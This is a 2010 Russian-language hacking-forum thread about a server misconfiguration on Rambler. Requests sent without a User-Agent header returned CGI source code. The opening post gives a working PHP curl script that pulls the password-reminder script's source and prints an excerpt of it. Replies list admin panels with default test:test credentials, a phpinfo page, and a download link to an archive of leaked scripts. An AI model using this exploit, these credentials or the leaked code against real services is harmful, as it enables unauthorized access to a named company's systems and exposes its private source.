Некоторые исходники Рамблера.

Discussion in 'Уязвимости' started by m0Hze, 19 Feb 2010.

  1. m0Hze

    m0Hze Well-Known Member

    Joined:
    1 Nov 2008
    Messages:
    266
    Likes Received:
    655
    Reputations:
    208
    Совсем нечаянно наткнулся сегодня днем,выкладываю сюда в виде мини статьи.
    Запускаем тот скрипт,и смотрим на вывод.
    PHP:
    <?php
    $exec 
    curl_init('http://id.rambler.ru/script/reminder.cgi');
    curl_setopt($execCURLOPT_RETURNTRANSFER0);
    curl_setopt($execCURLOPT_REFERER'http://id-planet.rambler.ru/default/');
    curl_setopt($execCURLOPT_HEADER1);
    $page curl_exec($exec);
    echo 
    $page;
    ?>
    Запустив скрипт, я был очень удивлен увиденному, а увидел я следующее(приведен лишь отрывок полного кода):

    Code:
    #!/usr/bin/perl -w # Password reminder for mail.rambler.ru project # Original version by [email protected] # Rewritten by Maxim Dounin, [email protected] # $Id: reminder.cgi,v 1.35 2009/04/02 18:51:47 citrin Exp $ ###############################################################################
    use strict;
    use warnings;
    use utf8;
    use CGI qw/ param /;
    use Digest::MD5 qw/ md5_hex /;
    use Time::HiRes;
    use Rambler::CaptchaManager;
    use rutils; use r_icq;
    use rcfg;
    my $H = { myname => 'reminder.cgi', DEBUG => 0, LOG => $rcfg::logdir.'/reminder/reminder_log', # template, used by rutils::print_tmpl TMPL_ROOT => $rcfg::tmpldir, TMPL => 'reminder.tmpl', SKIN => 'id', SKIN_OPT => { DEFAULT => $rcfg::urls{id}, LOGOUT => 'http://www.rambler.ru/', AUTH => $rcfg::urls{id}.'script/auth.cgi', }, # interface charset CHARSET => 'windows-1251', # ratelimits RATE_LOGIN => { rate => 1/3600, burst => 5 }, RATE_IP => { rate => 1/3600, burst => 10 }, RATE_IP_ROBOT => { rate => 1/60, burst => 50 }....
    Собственно после несложного мыслительного процесса, я пришел к выводу, что передо мной исходники страницы Восстановление паролей.

    А причина то, смешная!

    После небольшого танца вокруг Рамблера, было выявлено еще как минимум 5 скриптов, которые можно скачать таким образом, и мне захотелось узнать с чем это связано.Первой мыслью было, что умер интерпретатор Perl, но из браузера я видел вполне нормальный результат работы скрипта, а не его исходник, значит этот вариант отпадает.Посмотрев заголовки отправляемые браузером сервера Рамблера, были поставлены опыты, и выявлено, что Рамблер показывает исходники некоторых скриптов, если к ним обратиться без заголовка User-Agent: ****.
    То есть, вот такое обращение к скрипту:

    PHP:
    <?php
    $header 
    = array('User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8');
    $exec curl_init('http://id.rambler.ru/script/reminder.cgi');
    curl_setopt($execCURLOPT_RETURNTRANSFER0);
    curl_setopt($execCURLOPT_REFERER'http://id-planet.rambler.ru/default/');
    curl_setopt($execCURLOPT_HEADER1);
    curl_setopt($exec,CURLOPT_HTTPHEADER$header);
    $page curl_exec($exec);
    echo 
    $page;
    ?>
    вполне нормальное.Увидим результат работы скрипта.Спасебо досвидания.Я отмечать праздники.
    Full version статьи!
    Всех с наступающим праздником!
     
    20 people like this.
  2. XXI

    XXI Banned

    Joined:
    18 Feb 2010
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Это походу будет работать на всех сайтах с интерпретатором perl

    ЗЫ смешно )


    Хотя если скачать исходники, то скоро появятся статьи как отломать мыло )
     
  3. Mr.Replica

    Mr.Replica Member

    Joined:
    18 May 2010
    Messages:
    124
    Likes Received:
    41
    Reputations:
    10
    сэнкс чувак...
     
  4. -Hormold-

    -Hormold- Кто, если не ты?

    Joined:
    29 Sep 2007
    Messages:
    418
    Likes Received:
    290
    Reputations:
    44
    Супер! Действительно работает! Если капнуть, то можно скачать около десятка файлов.
    Epic fail...
     
  5. m0Hze

    m0Hze Well-Known Member

    Joined:
    1 Nov 2008
    Messages:
    266
    Likes Received:
    655
    Reputations:
    208
    Fail.
     
    1 person likes this.
  6. shell_c0de

    shell_c0de Hack All World

    Joined:
    7 Jul 2009
    Messages:
    1,155
    Likes Received:
    617
    Reputations:
    690
    В рамблере остались хоть норм кодеры ? =\
    в прошлом году тоже сорцы были в паблике
     
    _________________________
  7. XXI

    XXI Banned

    Joined:
    18 Feb 2010
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Ухах. Скоро рамблеров появится докуя


    Я уже 40 исходников скатал )
     
  8. wildshaman

    wildshaman Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    477
    Likes Received:
    483
    Reputations:
    99
    Где ты там 40 штук-то нашел?)
     
  9. TR0J@N

    TR0J@N Elder - Старейшина

    Joined:
    30 Mar 2007
    Messages:
    105
    Likes Received:
    58
    Reputations:
    13
    Он наверное один и тотже качает) (востановление паса из статьи)
     
  10. shell_c0de

    shell_c0de Hack All World

    Joined:
    7 Jul 2009
    Messages:
    1,155
    Likes Received:
    617
    Reputations:
    690
    http://in.fo2.rambler.ru/administrator/ Joomla =)
    http://ad.rambler.ru/adm/client/ban.adm?cmd=list&item=bn test:test
    http://ad.rambler.ru/adm/admin.adm test:test
    http://fo2.rambler.ru/info.php phpinfo
    Решето ))
     
    _________________________
    5 people like this.
  11. shell_c0de

    shell_c0de Hack All World

    Joined:
    7 Jul 2009
    Messages:
    1,155
    Likes Received:
    617
    Reputations:
    690
    http://fo2.rambler.ru/forum/member.php?u=1
    Работает на vBulletin® версия 3.7.1

    http://fo2.rambler.ru/info.php phpinfo
    раскрытые путей /usr/local/www/fo2apps/html/info.php
     
    _________________________
    1 person likes this.
  12. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    На глазах у меня прикрыли :) Буквально в эту минуту.
    PS: На хабре:
    Code:
    m0Hze
    Пользователь заблокирован
    С чего бы это?
     
    #12 mailbrush, 19 Feb 2010
    Last edited: 19 Feb 2010
  13. LBEST.

    LBEST. Banned

    Joined:
    1 Jan 2010
    Messages:
    28
    Likes Received:
    5
    Reputations:
    0
    прикрыли :(
     
  14. ][yZ

    ][yZ Member

    Joined:
    3 Mar 2009
    Messages:
    66
    Likes Received:
    46
    Reputations:
    10
    за что мохзика то на хабре забанили?
    новасть куль, слить ниуспел(
     
  15. m0Hze

    m0Hze Well-Known Member

    Joined:
    1 Nov 2008
    Messages:
    266
    Likes Received:
    655
    Reputations:
    208
    Всем приветы.Обидно конечно,что на хабре дали бан.
    Неудобно перед пригласившим,да и вообще как то несправедливо,я ведь ви в суппорт отписал до публицакии :)
    Ну да ладно,оно того стоило.
     
    1 person likes this.
  16. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    193
    Likes Received:
    195
    Reputations:
    91
    Непонятна природа этого дебильного косяка... Почему скрипты не исполнялись при отсутствии поля User-Agent?!
     
    1 person likes this.
  17. m0Hze

    m0Hze Well-Known Member

    Joined:
    1 Nov 2008
    Messages:
    266
    Likes Received:
    655
    Reputations:
    208
    Кривая настройка сервера,я это уже узнал.Такое еще есть на ихних поддоменах,в некоторых папках.В общем,условие,если нет реферера,или он = 0,то скрипты выдаются как text-plaint.
    Ежеле нет,то Add-Type ит.д,и он выполняется.Кривые .htaccess
     
  18. m0Hze

    m0Hze Well-Known Member

    Joined:
    1 Nov 2008
    Messages:
    266
    Likes Received:
    655
    Reputations:
    208
    В архиве - 4 скрипта,которые были с/\иtы в первую очередь.Их я выложу.
    http://slil.ru/28683765
    pwd: antichat
    Возможно найдете что то интересное.
     
    1 person likes this.
  19. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    сообщение номер 17.